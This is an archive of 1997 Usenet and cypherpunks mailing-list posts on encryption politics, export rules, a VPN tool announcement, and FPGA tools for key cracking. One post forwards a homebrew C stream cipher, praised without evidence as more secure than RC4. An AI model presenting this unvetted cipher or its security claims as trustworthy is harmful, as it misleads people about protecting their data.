Path: wmich-news!gumby!newspump.wustl.edu!rice!bcm.tmc.edu!news.msfc.nasa.gov!news-spur1.maxwell.syr.edu!news.maxwell.syr.edu!newsfeed.internetmci.com!169.132.11.200!news.idt.net!news.voicenet.com!gsl-penn-ns.gsl.net!news-stkh.gip.net!news.gsl.net!gip.net!news3.funet.fi!news.funet.fi!news.cs.hut.fi!news.clinet.fi!liw.clinet.fi!not-for-mail
From: olaf@bigred.inka.de (Olaf Titz)
Newsgroups: comp.os.linux.announce
Subject: cipe - encrypting IP tunnel, version 0.5.2
Followup-To: comp.os.linux.networking
Date: Sun, 21 Sep 1997 07:26:10 GMT
Organization: private Linux site, southern Germany
Lines: 57
Approved: linux-announce@news.ornl.gov (Lars Wirzenius)
Message-ID: <pycola.874826770.5102@liw.clinet.fi>
NNTP-Posting-Host: liw.clinet.fi
NNTP-Posting-User: liw
X-Server-Date: 21 Sep 1997 07:26:12 GMT
Old-Date: 19 Sep 1997 11:08:19 +0200
X-No-Archive: yes
X-Auth: PGPMoose V1.1 PGP comp.os.linux.announce
	iQBVAwUBNCTMFDiesvPHtqnBAQExRAH/SYzWcsQWNuCf0W6wMQqrVWgV7eTRWQ6p
	ULgjcGGbiqKYNQsaw7gwAqfh+zhkfywvqStuB3XwP5LJCRz6KgK7qw==
	=2N7/
Xref: wmich-news comp.os.linux.announce:1629

-----BEGIN PGP SIGNED MESSAGE-----


CIPE is a system for simple, yet reasonably secure IP encryption.
It sends encrypted datagrams encapsulated in UDP. It is not compatible
with IPSEC or anything else (except my other prototype implementation). 
Very lightweight and easy to handle. Comes with full description of
the protocol and usage examples.
GPLd and distributed from outside the USA.

Developed and tested on the Linux 2.0 series on i386 platform.
In theory it should run on other platforms; don't know about 2.1.

This package can be used to build "virtual private networks", i.e.
secure interconnection of subnetworks on top of the Internet. I use
it in such a situation for some months now.

Changes since 0.4.2:
- - Now supports routing over a SOCKS5 relayer.
- - Wrote a real manual.

Olaf Titz <olaf@bigred.inka.de>

Here's the LSM:
Begin3
Title:		cipe
Version:	0.5.2
Entered-date:	12SEP97
Description:	A network device that does encrypted IP-in-UDP tunneling.
		Useful for building virtual private networks, etc.
                The package consists of a kernel module and driver program.
Keywords:	encryption, routing, tunnel, VPN
Author: 	olaf@bigred.inka.de (Olaf Titz)
Primary-site:	ftp.inka.de /sites/bigred/sw
		65k cipe-0.5.2.tar.gz
Copying-policy:	GPL
End



- -- 
This article has been digitally signed by the moderator, using PGP.
http://www.iki.fi/liw/lars-public-key.asc has PGP key for validating signature.
Send submissions for comp.os.linux.announce to: linux-announce@news.ornl.gov
PLEASE remember a short description of the software and the LOCATION.
This group is archived at http://www.iki.fi/liw/linux/cola.html

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Version: 2.6.3ia
Charset: noconv

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sHSQoQ5R4D77LbgKLWjvxcut+s27wAVToz7HEDdwA/8nscqhbXr3ak3GKFqf+18s
OuASqKdpbB4=
=H9Vz
-----END PGP SIGNATURE-----
-- end of forwarded message --





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 22 Sep 1997 06:21:25 +0800
To: cypherpunks@Algebra.COM
Subject: I`m back ;-)...
Message-ID: <Pine.LNX.3.91.970921114342.1046A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



	
I`m finally back on the list, after an absence of about 2 or 3 months, 
but not for long. Circumstances since the machine running fatmans blew 
smoke at me dictated that getting the box running again took a low 
priority amongst the many other things I have been doing recently.

Like I said, I`ll be off the list again soon, maybe just a quick address 
change, maybe a couple of weeks or more whilst I move. Whichever way, you 
can get me at this address now and always get me on +44 (0)410 933 621 
for urgent business.

BTW. Is there anything I should know about that has happened in the 
crypto world since my dissapearance.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: travel23@juno.com (The Traveler)
Date: Mon, 22 Sep 1997 00:17:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: US Senate bans laptops
Message-ID: <19970921.121353.3630.0.travel23@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 21 Sep 1997, Lucky Green wrote:
>
>According to an article in Saturday's San Francisco Chronicle, the US
>Senate's Rules Committee denied a junior Senate member's request to
bring
>his laptop to the floor. Aparently, the Rules Committee believes that
>laptop use is incompatible with the hallowed nature of Senate debates.

>These people banning laptops amongst their peers are the same people who
>will decide on the future use of crypto by the masses.

>Give it up. Any dollar spent lobbying these Luddites is a dollar wasted.


Yeah, but if they did allow it, our tax money would go to buying a laptop
for each and everyone of them - and, of course, they would opt for the
most expensive laptops available.....


The Traveler


+++++++++++++++++++++++++++++++
"Sometimes you're the bug, 
 sometimes you're the windshield."
+++++++++++++++++++++++++++++++





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 22 Sep 1997 01:39:02 +0800
To: cypherpunks@toad.com
Subject: Re: US Senate bans laptops
Message-ID: <1.5.4.32.19970921171629.0080d4f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote about banning lapdancing on the Senate floor:

Banning laptops continues a long tradition of congressional
resistance to technology, the Senate moreso than the House.

The Architect of the Capitol, an office as well as a person, has 
to deal with a heritage of Luddites who have resisted, as examples,
removal of cuspidors; installing women's facilities of all sorts: 
putting in air-conditioning (mechanical ventilation as well as 
cooling), electric lights, subterranean trams, elevators, smoke 
alarms, telephones!, telegraphs, electro-mechanical quorum 
and roll calls (bells, lights and pagers!), wheelchairs (just 
recently), and more -- virtually every invention has been 
delayed in the Capitol, along with compliance with the laws 
imposed on the country but not on hallowed halls.

Ex-AoCs sometimes leak the stupifying arguments the 
solons make for maintaining their supposedly superior 
lifestyles free of demanding gadgetry and popular fad: 
their preference is for human servants over devices in order
to maintian deniability, for while flesh and blood is what the 
beasts know best how to cajole, seduce and terrorize 
it is also the reason they remain ever ready for betrayal
and opportunistic one-night-stand switching of lifetime fidelity.

Blinking, recording, error-archiving, machines scare the shit 
out of the the fork-tongue power-aphrodisiacal nymphomaniacs, 
not to say that the rest of us would act so differently given a 
seat in inner circles of jerks getting lapdanced on a magic 
carpet -- who wants that in the National Archives of Perfidy?

Often the reason folks oppose new technology is that it threatens
their network of operations based on old technology, as the
case with encryption.

Still, it's worth considering what leaked Senate plaintext 
(gov, pol, illicit)  would induce the secrecy-obsessed senators 
to support strong crypto for their own privacy of stashed 
wealth and squelched Paulas?

Often new technology is resisted because that it threatens
networks of successful operations of barely legal scams based 
on old technology, as the case with encryption, tv, radio, 
telephone, telegraph, printing, highways, roads, trails, stars, 
evil eyes, body stench, intuition, fear, mother's milk, amniotic 
warmth, egg and dart, downhole non-existence.

To be sure, there are disclosures of red-faced liaisons, the sort
recorded in hallowed halls and red-flocked boudoirs, that the 
TLAs (mirroring the KGB) may be threatening Congress with, 
in the eye-opening publications of Kalliste. See:

   http://www.aci.net/kalliste/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 22 Sep 1997 07:29:59 +0800
To: cypherpunks@cyberpass.net
Subject: PBS Newshour?
Message-ID: <v03102801b04b5bd8524e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



It seems without exposure of our views to a wider, educated, audience
there's little chance of being heard above the clamor raised by LE.
Although PBS is partly gov't funded it does seem to have tacked some
relatively sensitive political topics in a balanced manner.  Why don't we
write and call to suggest they plan a segment on this issue next week?
Declan, got any juice?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 22 Sep 1997 07:58:09 +0800
To: cypherpunks@cyberpass.net
Subject: RJ Op-Ed piece
Message-ID: <v03102802b04b5e7af09c@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Using substantial portions of Bill Frantz's "Key Recovery is Bad for US
Security" letter to Sen. Swienstein and with his encouragement, I've had a
piece, "Cryptography ban would cost jobs, freedom," published in this
Sunday's Las Vegas Review-Journal :
http://www.lvrj.com/lvrj_home/1997/Sep-21-Sun-1997/opinion/6067100.html

This item is in response to Vin Suprynowicz's Sept 12 editorial, posted as
"Column, Sept. 12," to this list, also in the RJ.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 22 Sep 1997 08:37:30 +0800
To: cypherpunks@cyberpass.net
Subject: EAR question
Message-ID: <v03102800b04b685e4382@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



If crypto source code is published in printed form and distributed under a
non-disclousre agreement does it meet the uncontrolled export criteria
under the new EAR regs?  My question seems to hinge on the definition of
"general distribution," in Sec. 734.7.

The key passages seem to be:

Sec. 734.3  Items subject to the EAR.

* * * * *
    (b) * * *
    (3) Publicly available technology and software, except software
controlled for EI reasons under ECCN 5D002 on the Commerce Control
List, that:
    (i) Are already published or will be published as described in
Sec. 734.7 of this part;
    (ii) Arise during, or result from, fundamental research, as
described in Sec. 734.8 of this part;
    (iii) Are educational, as described in Sec. 734.9 of this part;
    (iv) Are included in certain patent applications, as described in
Sec. 734.10 of this part.

    Note to paragraphs (b)(2) and (b)(3) of this section: A printed
book or other printed material setting forth encryption source code
is not itself subject to the EAR (see Sec. 734.3(b)(2)). However,
notwithstanding Sec. 734.3(b)(2), encryption source code in
electronic form or media (e.g., computer diskette or CD ROM) remains
subject to the EAR (see Sec. 734.3(b)(3)).


Sec. 734.7  Published information and software.

* * * * *
    (b) Software and information is published when it is available for
general distribution either for free or at a price that does not exceed
the cost of reproduction and distribution. See Supplement No. 1 to this
part, Questions G(1) through G(3).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 22 Sep 1997 09:43:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: I`m back ;-)...
In-Reply-To: <Pine.LNX.3.91.970921114342.1046A-100000@fatmans.demon.co.uk>
Message-ID: <19970922013325.9891.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley writes:

> BTW. Is there anything I should know about that has happened in the 
> crypto world since my dissapearance.

Jackbooted thuggery is easy.  Comedy is hard. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 22 Sep 1997 02:04:30 +0800
To: shamrock@netcom.com
Subject: Re: US Senate bans laptops
In-Reply-To: <3.0.2.32.19970921083724.0071d9d8@netcom10.netcom.com>
Message-ID: <199709211754.SAA00603@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@netcom.com> writes:
> These people banning laptops amongst their peers are the same people who
> will decide on the future use of crypto by the masses.
> 
> Give it up. Any dollar spent lobbying these Luddites is a dollar wasted.

I was thinking if the money spent lobbying had been offered as prize
money for breaking crap crypto, it might have had more effect.

Or perhaps as a bribe to obtain the LEAF family key or indeed the NSAs
master copy of the database, or both copies of the split database.

Even just burning the money would probably have been better for the
crypto cause, than feeding the shysters.

Adam
-- 
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 22 Sep 1997 04:26:38 +0800
To: John Young <cypherpunks@cyberpass.net>
Subject: Re: US Senate bans laptops
In-Reply-To: <1.5.4.32.19970921171629.0080d4f4@pop.pipeline.com>
Message-ID: <199709212016.OAA27225@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970921:1316 
    John Young <jya@pipeline.com> purported to expostulate:

+To be sure, there are disclosures of red-faced liaisons, the sort
+recorded in hallowed halls and red-flocked boudoirs, that the  TLAs
+(mirroring the KGB) may be threatening Congress with,  in the
+eye-opening publications of Kalliste. See:

+   http://www.aci.net/kalliste/


    yes, to be sure the Harvard grad school educated Dr. Grabbe will
    have an opinion, delivered in a cloak, over a beer, at some rowdy
    bar in Sparks NV.  I fear he has delusions of Hunter S.

    hwoever, no one ever said his material lacked entertainment value;
    and all comedy is but the presentation of truth in a loosely 
    encrypted form.

+Blinking, recording, error-archiving, machines scare the shit  out of
+the the fork-tongue power-aphrodisiacal nymphomaniacs,  not to say
+that the rest of us would act so differently given a  seat in inner
+circles of jerks getting lapdanced on a magic  carpet -- who wants
+that in the National Archives of Perfidy?

    amen

    it is their blind fear that information will not only enlighten the     
    ignornant masses, but it will make them free, empowering them to     
    depose the bloated and mutated forms of power which wander the halls
    of the usurped republic's once hallowed chambers.

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNCWAiL04kQrCC2kFAQHOewP/a9lMaqqACYLfXCpbEeMguUUJqXwfRF9Y
6zxL4HCFoBtfT3YQjJfZSFR7+EQmGQpcX6T2vcfxklEpxjdkoukR1w/Mu7gKfu+d
Q8Ms5dx7MHq4yTCrZvLeRF/fCzqCehrhfD5AuQr8Ll1p67zrGYVi+z25AopPrdmi
JgJWrC7QDVk=
=9mei
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Mon, 22 Sep 1997 10:54:25 +0800
To: cypherpunks@toad.com
Subject: Hhmmm...
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 22 Sep 1997 11:04:31 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: I`m back ;-)...
In-Reply-To: <Pine.LNX.3.91.970921114342.1046A-100000@fatmans.demon.co.uk>
Message-ID: <3425DCC5.2E1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:

> BTW. Is there anything I should know about that has happened in the
> crypto world since my dissapearance.

You seem to be getting out of prison at the same time that the
rest of us are getting arrested.
Coincidence?

(Excuse me, there's someone at the door...)

TruthMooooooooooooooooooooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0115.myriad.ml.org (Matthew Ghio)
Date: Mon, 22 Sep 1997 11:20:37 +0800
To: cypherpunks@cyberpass.net
Subject: FPGAs
Message-ID: <199709220314.XAA14274@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Here are a few programs which haven't been mentioned here before.  They take
C/C++ code and compile it to FPGAs, which might be interesting to someone
who's working on, oh, say RC5...

The first is at http://www.eecg.toronto.edu/EECG/RESEARCH/tmcc/tmcc/
and compiles C code to Xilinx or Altera FPGAs.

Another is at ftp://lslsun5.epfl.ch/pub/nlc*
It uses a slightly different syntax and targets Xilinx chips.

There's also a routing optimizer at
http://www.eecg.toronto.edu/~lemieux/sega/sega.html

http://193.215.128.3/freecore/ gives plans for building a programmer to
load designs into Altera FPGAs.


While I not sure how well-optimized the output from such software is, it
is interesting to note that someone with relatively basic electronics and
computer programming experience could put together a massively parallel
key-cracker.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Mon, 22 Sep 1997 11:41:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: politics aren't all or nothing
In-Reply-To: <Pine.SOL.3.96.970919015421.11529C-100000@sirius.infonex.com>
Message-ID: <97Sep21.232903edt.32260@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 19 Sep 1997, Mark Hedges wrote:

> On Thu, 18 Sep 1997, Tim May wrote:
> >like White Aryan Resistance and Hamas and so on can thrive and link up
> 
> I see, well, whatever. Kinda makes me think maybe I'm wrong and should
> vote for cryptofascists. However, I won't, because I don't want the
> government looking over my shoulder. I think there are plenty of ways for
> people whose agenda is a good, peaceful world to organize against groups
> like WAR and CIA and Hamas and the rest, without having to legislate. I
> don't understand how you can judge which violent, fascist, oppressive
> group is the correct one to support. Did you know there are other groups
> who are not violent, fascist, or oppressive? Did you know that
> occasionally, violent, oppressive fascists have changed their minds? 

...

> I don't think the national security folk have "a good, peaceful world" in
> mind for anyone.  They have in mind a world in which a small, exclusive
> group of people can use, take from and manipulate the masses. All of these
> groups do.

> The history of violent revolution, even in the name of the people, is
> filled with the leaders of the revolution assuming the same damn
> imbalanced positions of power which were there before. They might call it
> a President instead of a King, or maybe Prime Minister or Premier. The

...

> They all seem to fit into the same category --- Hamas, Infada, the secular
> Algerian "Ninjas", the Federal urban assault task forces, DEA thugs who
> raid the homes of innocent people, etc.  They're all fighting, and it
> seems like people pick up any side of an issue just so they can fight.
> Why? 

Let me agree and go further.

I believe in liberty (which encompasses the issues around cryptography) 
because I believe in human dignity.  But that also forces me to believe in
the right to life - Jefferson listed it before liberty in the declaration,
and if you don't have any other reason to agree, just note that dead
people don't have any use for liberty.  People are deprived of property
before liberty, and liberty before life in any system that I would
consider just.  But then I think about what is liberty and justice and
good and evil instead of demonizing whoever is doing something I don't
happen to like at the moment.

I don't defend any of those evils that would be made easier by the
presence of crypto, nor those who would destroy liberty to save it, on
either side of the debate.  You don't destroy something you consider
precious.  I condemn anyone who takes innocent life - be it the FBI at
Waco or McVeigh at OKC.  It is the act that is evil, and the intent or
negligence of the actor that makes it so, not which political side the
actor is on.

If crypto is banned in the US, there will still be some country where it
is legal - you might not like the economy or the climate, but you would
still have crypto and various other liberties.  The generations preceeding
our founders moved here because they didn't have liberty in their
homeland.  The life was harder, but they considered some specific freedoms
more important than the attraction of business in cities.

Even our Declaration of Independence doesn't call for the assasination of
anyone in Parliment or King George (and there were terrorist plots in
english history to do exactly this), but merely separation - in one sense
merely restoring the separation which was the reason their ancestors came
to the new world.

There was another revolution shortly after ours, in France.  But was
France better after the revolution during the reign of terror or during
the reign of Louis? 

>From http://net.fcref.org/comm/nrcomm/1997/nr050597.htm:

A Savoyard who lived through the French Revolution, Joseph de Maistre,
writes:

   "And you, mad philosophes . . . apostles of tolerance and humanity; you
. . . who extol the progress of intelligence and reason: Leave your tombs. 
Walk among the many corpses . . . Your writings are in the pockets of the
tyrants . . . In the name of virtue the most horrible thievery is
committed; in the name of humanity two million men perish; in the name of
liberty a thousand Bastilles are built . . . They left you only a moment,
Diderot, to sign the order for mass drownings."



I have been disturbed about the increasing tone of violence of the various
posts.  Didn't like what happened at Waco?  Then lets be the very
terrorists of the four cypher horsemen and kill even more children.  Don't
like voluntary ratings?  Then suggest posting kiddie porn and labeling it
as G rated.

Maybe China will nuke most of California - it may be an accident at their
new port.  Or one of the cults will release a biological agent.  Or even a
severe earthquake.  Should I shed a tear then? 

Even the French philosophers taught tolerance and humanity and would have
abhored the results.  Since even the intent is now bloodlust, first for
Reno and Freeh, then for everyone in the vacinity of Washington DC, then
for anyone who ever worked for the Feds... then for the liberals who
supported civil but not economic rights, and then the conservatives who
supported economic but not civil rights.  Don't work on better ciphers,
see if you can design a faster guillotine. 

And where does it stop?  When all the cities are burning?  When the people
who don't understand technology or how you have their liberty in mind get
guns and kill anyone they see?  When everything breaks down and you are
starving or dying of a disease you need technology to treat?  When all the
plants making the chips and fiber used for the internet are destroyed?

How many incinerated corpses will you need at your hands and those of your
diciples before you are satisfied that liberty is finally restored?  And
then will you worry about restoring other fundamental rights such as life? 
And if you care nothing for life, why should you expect anyone to respect
liberty? 

Starting a revolution might not be easy, but controlling it is harder and
ending it can be impossible.  And our economy and technology depends on
integration and cooperation to a much higher degree than at any other
time.  I may be able to be an individual on the internet, but I cannot
build a computer starting with sand, copper and steel.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 22 Sep 1997 14:51:14 +0800
To: "snow" <snow@smoke.suba.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <3420afc6.108774731@mail.geocities.com>
Message-ID: <3.0.3.32.19970921234248.04605528@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:45 AM 9/22/97 -0500, snow wrote:
>
>> Ok, we write code.  But as James S. Tyre pointed out, if the code is
>> too difficult to use it will not be.  And as Declan pointed out
>> many/most people will not use the crypto if they must think about it.
>> Writing the code is no longer enough.  The code must be usable by the
>> sheeple to work.  How do we do that?
>
>	Pay someone to write easy to use interfaces to the crypto libraries
>already out there. 

The code also has to do some good.  Currently there are some gaping holes
that I have not seen anyone cover very well.  (At least not in a way that
most users could actually use.)

Take, for example, the average home user.  They will most likely be running
Windows 95 or Windows 3.1 on a PC (486 or pentagram processor).  They
connect to the net via TCP/IP over a dialup link.

Now since Louie "tap'em all, let the FBI sort em out" Freeh may or may not
have that 1% of the phone switch tapped, the part that travels over the
phone is vulnerable.  (Microsoft was working on an SSL enabled winsock.dll,
but it has been dropped.  (Any ideas why? *wink* *wink* *nudge* *nudge*
*say no more*))

Even if the person uses PGP for all their mail, the sites they surf, the
ftp sites they visit, and all the addresses they send mail to will still be
visible to the prying eyes of anyone who has the resources to tap the phone
line.

This is something that needs to be covered.  How about an ssl enabled PPP
daemon, as well as the winsock layer to support it? Then you have to get
ISPs to use it. 

IPSec does not (as far as I can tell) resolve this problem, not does it
look like an option for the home user.  (From what I have seen (and I may
be wrong), the key distribution is tied to IP address.  What about dynamic
IP addresses?)  Are there any of the IP encryption key exchange protocols
that deal with dynamic IP?  (And/or have a windows based client?)

SSH is a possible option, but it requires a fair bit of knowledge and
another site to connect to that has not been compromised and where you have
a shell account.  (Most ISPs do not support SSH.  Some do not give you a
shell account.) There is also the possibility of apps not talking through
the IP tunnel and revealing unintended information.

Mail is another hole.  Eudora now distributes PGP 5.0 with the latest
version.  (This version does not do RSA keys. You can get the plug in to do
those keys from PGP inc.)  This is helpful, but there are many other
plug-ins that need to be written.  Support for remailers is lacking.
Windows based code for Mixmaster is also a needed thing.  A good interface
would help immensely.  (Private Idaho was a big step in the right
direction. Integrated with a remailer people already use would be another
big step forward.)

I am sure that people can think of all sorts of other ideas for needed
apps.  But to make them usable for the "general public", the apps will be
needed to be written for Windows.  (As much as I hate to think about it...)

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 22 Sep 1997 06:08:35 +0800
To: cypherpunks@toad.com
Subject: Fwd: Re: Quor's cypher
Message-ID: <199709212145.XAA07725@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



This is a really nifty encryption program.  It runs about half the speed
of rc4, but seems much more secure.


--- Forwarded Message:

From: quor@nym.alias.net
Subject: Re: tell me what you think of this...

[snip]

---

/* Stream ciphers are often used because of their speed and simplicity of
implementation despite their inherent weakness against known-plaintext,
ciphertext-modification, and key-reuse attacks.  The algorithm described
below provides a more secure alternative for encrypting data eight bits
at a time, which, while maintaining a simple self-inverting architecture,
provides resistance to the aforementioned attacks, and features a large
keyspace, small code size, back traffic protection, and resistance to
timing attacks and differential cryptanalysis. */


/* Qcypher.c */

#include <stdio.h>

unsigned char a,b,c,state[256];

unsigned char q(unsigned char i)
{
  static unsigned char a0,a1,b0,b1,c1,c2,c3,c4,o,d1,d2,d3,d4;

  a0=state[a];
  a1=state[a0];
  b0=state[b];
  b1=state[b0];
  c1=i^(0xAA&state[(i&0x55)^a]);
  c2=c1^(0x55&state[(c1&0xAA)^b]);
  c3=c2^(a+b)^(a0+b0);
  c4=c3^(0x55&state[(c3&0xAA)^b]);
  o=c4^(0xAA&state[(c4&0x55)^a]);
  d1=i&o;
  d2=i^o;
  d3=c2&c3;
  d4=c2^c3;
  state[c&=255]^=a^d4;
  state[c^0x80]^=b^d4;
  a+=d1+b1+1;
  b^=d2^d3^a1;
  c++;
  return(o);
}

void setkey(unsigned char *key, int len)
{
  int x;
  a=b=c=0;
  for(x=256;x--;state[x]=0);
  for(x=0;x<len;x++) state[x&255]^=key[x];
  for(;len--;*(key++)=0) q(*key);
  for(x=0;x<256;q(x++));
}

void main(int ac,unsigned char **av)
{
  unsigned char byte;

  setkey(av[1],strlen(av[1]));

  while(fread(&byte,1,1,stdin)>0)
    putchar(q(byte));
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 22 Sep 1997 12:23:58 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Rep. Loretta Sanchez Hits Crypto Controls
In-Reply-To: <1.5.4.32.19970921022246.00895f40@pop.pipeline.com>
Message-ID: <v03007802b04b9d6ddc36@[204.254.21.1]>
MIME-Version: 1.0
Content-Type: text/plain



At 22:22 -0400 9/20/97, John Young wrote:
>Budget Officefor implementing SAFE. However, as far as
>I can tell, the estimate does not include the cost of a GAK
>system, and covers only the cost of export controls. Thus,
>it appears to be vastly misleading.

Those were the earlier estimates, based on legislation that did not include
mandatory GAK. I wrote about the latest CBO estimate, based on mandatory
GAK, in this week's Time Magazine.

-Declan



-------------------------
Declan McCullagh
Washington Correspondent, The Netly News Network, http://netlynews.com/
Reporter, Time Magazine, http://time.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 22 Sep 1997 12:13:41 +0800
To: cypherpunks@Algebra.COM
Subject: Internet putting truth in danger
Message-ID: <199709220404.AAA05944@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




   [1]Cable & Wireless
   [2]UK News [3]Electronic Telegraph
   Friday 19 September 1997
   Issue 847
   
   [4]See text menu at bottom of page
   Internet 'putting truth in danger' 
   By Alison Boshoff
   _________________________________________________________________
   
   External Links
   
   [5][LINK]
          Safe Surf's Proposal for a Safe internet Without Censorship
          
   [6][LINK]
          Campaign for Internet Freedom
          
   [7][LINK]
          Conspiracy Theory - Publisher's Rant
          
   [8][LINK]
          Dimitry's Save the Conspiracy Theories Campaign
          
   [9][LINK]
          Conspiracy Theory Land
          
   [10][LINK]
          Disinformation
          
   [11][LINK]
          Make your own conspiracy theory - Turn Left
     _________________________________________________________________
   
   THE generation that has grown up on The X-Files poses a threat to the
   future of journalism, Fergal Keane, the BBC's Asia Correspondent, said
   last night.
   
   Mr Keane, delivering the Huw Weldon Memorial Lecture at a television
   convention, said that he was worried about the growing influence of
   the Internet, and the conspiracy theories that are aired on it.
   
   He told the Royal Television Society's Cambridge Convention that the
   rash of rumours about the circumstances of the death of Diana,
   Princess of Wales showed that there was a public appetite for
   speculation and fantasy. He said: "Will the generation growing up on
   The X-Files really want to choose calm, considered reportage when they
   have science-fiction and fantasy?"
   
   He said that the trend threatened to plunge reporting into the
   "rumour-ridden gloom of the Middle Ages".
   
   Another danger, said Mr Keane, lay in the trend towards trivia and
   celebrity that was increasingly taking control of the journalistic
   agenda.
   
   He referred to the "beautiful airhead syndrome" and to stories about
   the "dumbing down of the BBC" but said that the corporation's rich
   history of quality reporting meant that it would not head in that
   direction.
   
   He said: "As someone who is neither pretty nor wise, I feel able to
   take the view that dumbing down will not happen at the BBC. If it did,
   it would desert the finest tradition of broadcasting professionalism
   in the world."
   
   Mr Keane said news organisations faced greater challenges than ever,
   with bigger and more diverse audiences who probably knew less about
   the world than their predecessors. He warned of a sacred journalistic
   duty to celebrate the truth.
   
   He said that there was a danger that some news organisations became
   little more than a "carnival of egos" because of a "star system"
   operating among their correspondents, and had to guard against
   employing anyone who was less than exceptional and less than
   dedicated.
   
   [12]3 December 1996: Conspiracy theories on the Internet
   [13]27 June 1997: Beware the Internet's first aid, say doctors
     _________________________________________________________________
   
   Next report: [14]Sleepwalker survives 60ft fall
     _________________________________________________________________
   
   [15]Front | [16]UK | [17]International | [18]City | [19]Sport |
   [20]Crossword | [21]Weather | [22]Matt | [23]Connected | [24]etcetera
   | [25]A-Z | [26]Archive | [27]Shopping | [28]Classified | [29]Help |
   
   (c) [30]Copyright Telegraph Group Limited 1997. [31]Terms & Conditions
   of reading.
   
   Information about [32]Telegraph Group Limited and [33]Electronic
   Telegraph.
   
   "Electronic Telegraph" and "The Daily Telegraph" are [34]trademarks of
   Telegraph Group Limited. These marks may not be copied or used without
   permission. Information for [35]webmasters linking to Electronic
   Telegraph.
   
   [36]Email Electronic Telegraph.

References

   1. http://www.telegraph.co.uk/cgi-bin/redir?SpaceID=12&AdID=123&URL=http://www.cwcom.co.uk/question/adlink.html
   2. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixnews.html
   3. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/home.html
